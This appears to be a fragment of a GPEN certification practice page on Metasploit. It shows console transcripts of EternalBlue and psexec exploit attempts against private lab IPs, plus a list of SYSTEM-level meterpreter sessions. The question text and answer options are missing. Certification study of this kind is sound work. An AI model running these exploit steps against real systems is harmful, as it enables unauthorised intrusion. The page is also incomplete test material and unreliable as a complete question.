Question 1hardmulti select
Read the full Metasploit explanation →GPEN Metasploit • Complete Question Bank
Complete GPEN Metasploit question bank — all 0 questions with answers and detailed explanations.
msf6 > search type:exploit platform:windows smb msf6 > use exploit/windows/smb/ms17_010_eternalblue msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.50 msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit [*] Started reverse TCP handler on 192.168.1.10:4444 [*] 192.168.1.50:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check [*] 192.168.1.50:445 - Host is likely VULNERABLE to MS17-010! [*] 192.168.1.50:445 - Scanned 1 of 1 hosts (1 succeeded to be vulnerable) [*] 192.168.1.50:445 - Starting exploit [!] Error: Exploit failed: The target is not exploitable.
msf6 exploit(windows/smb/psexec) > set RHOSTS 10.10.10.5 msf6 exploit(windows/smb/psexec) > set SMBUser admin msf6 exploit(windows/smb/psexec) > set SMBPass 328d3f1c12d2...[truncated] msf6 exploit(windows/smb/psexec) > run [*] Started reverse TCP handler on 10.10.10.2:4444 [*] 10.10.10.5:445 - Connecting to the target... [*] 10.10.10.5:445 - Authenticating with 10.10.10.5:445 as user 'admin'... [-] 10.10.10.5:445 - Exploit failed: RubySMB::Error::CommunicationError: Connection reset by peer
msf6 > sessions -l Active sessions =============== Id Name Type Information -- ---- ---- ----------- 1 meterpreter x86/windows NT AUTHORITY\SYSTEM @ WIN-SERVER1 2 meterpreter x64/windows NT AUTHORITY\SYSTEM @ WIN-SERVER2